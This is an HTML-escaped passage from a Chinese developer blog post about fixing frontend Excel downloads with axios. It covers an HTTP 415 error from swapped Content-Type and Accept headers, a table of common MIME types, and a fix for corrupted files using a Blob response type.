class=\"string\"\u003e\u0026#39;xxx\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是这样不仅下载的内容打不开,而且下载本身还报错了:\u003cstrong\u003eHTTP 415:Unsupported Media Type\u003c/strong\u003e。它的简介如下:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e415 Unsupported Media Type\u003c/code\u003e\u003c/strong\u003e 是一种 HTTP 协议的错误状态代码,表示服务器由于不支持其有效载荷的格式,从而拒绝接受客户端的请求。\u003c/p\u003e\u003cp\u003e格式问题的出现有可能源于客户端在 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type\"\u003e\u003ccode\u003eContent-Type\u003c/code\u003e\u003c/a\u003e 或 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding\"\u003e\u003ccode\u003eContent-Encoding\u003c/code\u003e\u003c/a\u003e 首部中指定的格式,也可能源于直接对负载数据进行检测的结果。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因此很明显,我应该是设置错了HTTP请求标头。于是查阅了HTTP请求标头的几个字段,发现我应该是搞反了\u003ccode\u003eContent-Type\u003c/code\u003e和\u003ccode\u003eAccept\u003c/code\u003e的意思。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eContent-Type\u003c/strong\u003e:自己发送给对方的内容的MIME类型\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eAccept\u003c/strong\u003e:自己能接受的内容的MIME类型\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e常见的MIME类型( \u003cstrong\u003eMultipurpose Internet Mail Extensions,媒体类型\u003c/strong\u003e)如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e扩展名\u003c/th\u003e\u003cth\u003e文档类型\u003c/th\u003e\u003cth\u003eMIME 类型\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.aac\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAAC audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/aac\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.abw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/AbiWord\"\u003eAbiWord\u003c/a\u003e document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-abiword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.arc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eArchive document (multiple files embedded)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-freearc\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.avi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAVI: Audio Video Interleave\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/x-msvideo\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.azw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAmazon Kindle eBook format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.amazon.ebook\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bin\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAny kind of binary data\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/octet-stream\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bmp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWindows OS/2 Bitmap Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/bmp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip2 archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eC-Shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-csh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.css\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eCascading Style Sheets (CSS)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/css\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eComma-separated values (CSV)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/csv\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.doc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/msword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.docx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.wordprocessingml.document\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.eot\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMS Embedded OpenType fonts\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-fontobject\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.epub\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eElectronic publication (EPUB)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/epub+zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.gif\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eGraphics Interchange Format (GIF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/gif\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.htm .html\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eHyperText Markup Language (HTML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/html\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ico\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eIcon format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/vnd.microsoft.icon\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ics\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eiCalendar format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/calendar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJava Archive (JAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/java-archive\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jpeg\u003c/code\u003e \u003ccode\u003e.jpg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJPEG images\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/jpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.js\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.json\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jsonld\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON-LD format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ld+json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mid\u003c/code\u003e \u003ccode\u003e.midi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMusical Instrument Digital Interface (MIDI)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/midi\u003c/code\u003e \u003ccode\u003eaudio/x-midi\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mjs\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript module\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mp3\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMP3 audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpeg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMPEG Video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpkg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eApple Installer Package\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.apple.installer+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument presentation document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ods\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument spreadsheet document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.spreadsheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument text document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.text\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.oga\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.otf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenType font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/otf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.png\u003c/code\u003e\u003c/td\u003e\u003ctd\u003ePortable Network Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/png\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pdf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAdobe \u003ca href=\"https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html\"\u003ePortable Document Format\u003c/a\u003e (PDF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/pdf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ppt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-powerpoint\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pptx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.presentationml.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRAR archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-rar-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rtf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRich Text Format (RTF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/rtf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.sh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBourne shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-sh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.svg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eScalable Vector Graphics (SVG)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/svg+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.swf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/SWF\"\u003eSmall web format\u003c/a\u003e (SWF) or Adobe Flash document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-shockwave-flash\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTape Archive (TAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-tar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tif .tiff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTagged Image File Format (TIFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/tiff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ttf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTrueType Font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/ttf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.txt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eText, (generally ASCII or ISO 8859-\u003cem\u003en\u003c/em\u003e)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/plain\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.vsd\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Visio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.visio\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.wav\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWaveform Audio Format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/wav\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.weba\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webm\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBP image\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/webp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xhtml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXHTML\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xhtml+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xls\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-excel\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xlsx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.spreadsheetml.sheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eXML\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xml\u003c/code\u003e 代码对普通用户来说不可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3) \u003ccode\u003etext/xml\u003c/code\u003e 代码对普通用户来说可读 (\u003ca href=\"https://tools.ietf.org/html/rfc3023#section-3\"\u003eRFC 3023\u003c/a\u003e, section 3)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xul\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXUL\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.mozilla.xul+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.zip\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eZIP archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3gp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp\u003c/code\u003e \u003ccode\u003eaudio/3gpp\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.3g2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/3GP_and_3G2\"\u003e3GPP2\u003c/a\u003e audio/video container\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/3gpp2\u003c/code\u003e \u003ccode\u003eaudio/3gpp2\u003c/code\u003e(若不含视频)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.7z\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/7-Zip\"\u003e7-zip\u003c/a\u003e archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-7z-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e上面的MIME类型就是Content-Type和Accept两个字段的内容。因此,我们应该将请求头改为如下的形式:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eAccept\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/json\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e},\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后还是出现HTTP 415错误,不过是后端返回的数据的请求头。让后端排查了下,发现是Spring的代理把请求头改成\u003ccode\u003eapplication/json\u003c/code\u003e了,所以前端这才会出现415的错误。\u003c/p\u003e\u003cp\u003e但是,还有一个小问题没解决,所以下载还是用不了。\u003c/p\u003e\u003ch2 id=\"问题2-Blob\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%982-Blob\" class=\"headerlink\" title=\"问题2-Blob\"\u003e\u003c/a\u003e问题2-Blob\u003c/h2\u003e\u003cp\u003e改了两边的请求头并确定都没问题后,发现虽然能正常下载了,但是下载的内容Execl还是不能打开。但是最奇怪的是,APIfox下载的Excel是可以打开的。遂对比了下APIfox和我的代码下载下来的Excel文件,发现我的好像大了一点。\u003c/p\u003e\u003cp\u003e于是在搜索后,又给axios加上了\u003ccode\u003eresponseType: \u0026#39;blob\u0026#39;\u003c/code\u003e的参数,并且给生成Blob的地方也加上了\u003ccode\u003eapplication/vnd.ms-execl\u003c/code\u003e的参数。再次尝试时,下载已经能正常工作了。\u003c/p\u003e\u003cp\u003e于是我猜测,可能是下载时没有将后端返回的数据转换成Blob数据而直接存入Blob对象,引发了数据错位的问题,导致文件大了一点,并且不能正常打开。\u003c/p\u003e\u003cp\u003e修改后的代码:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 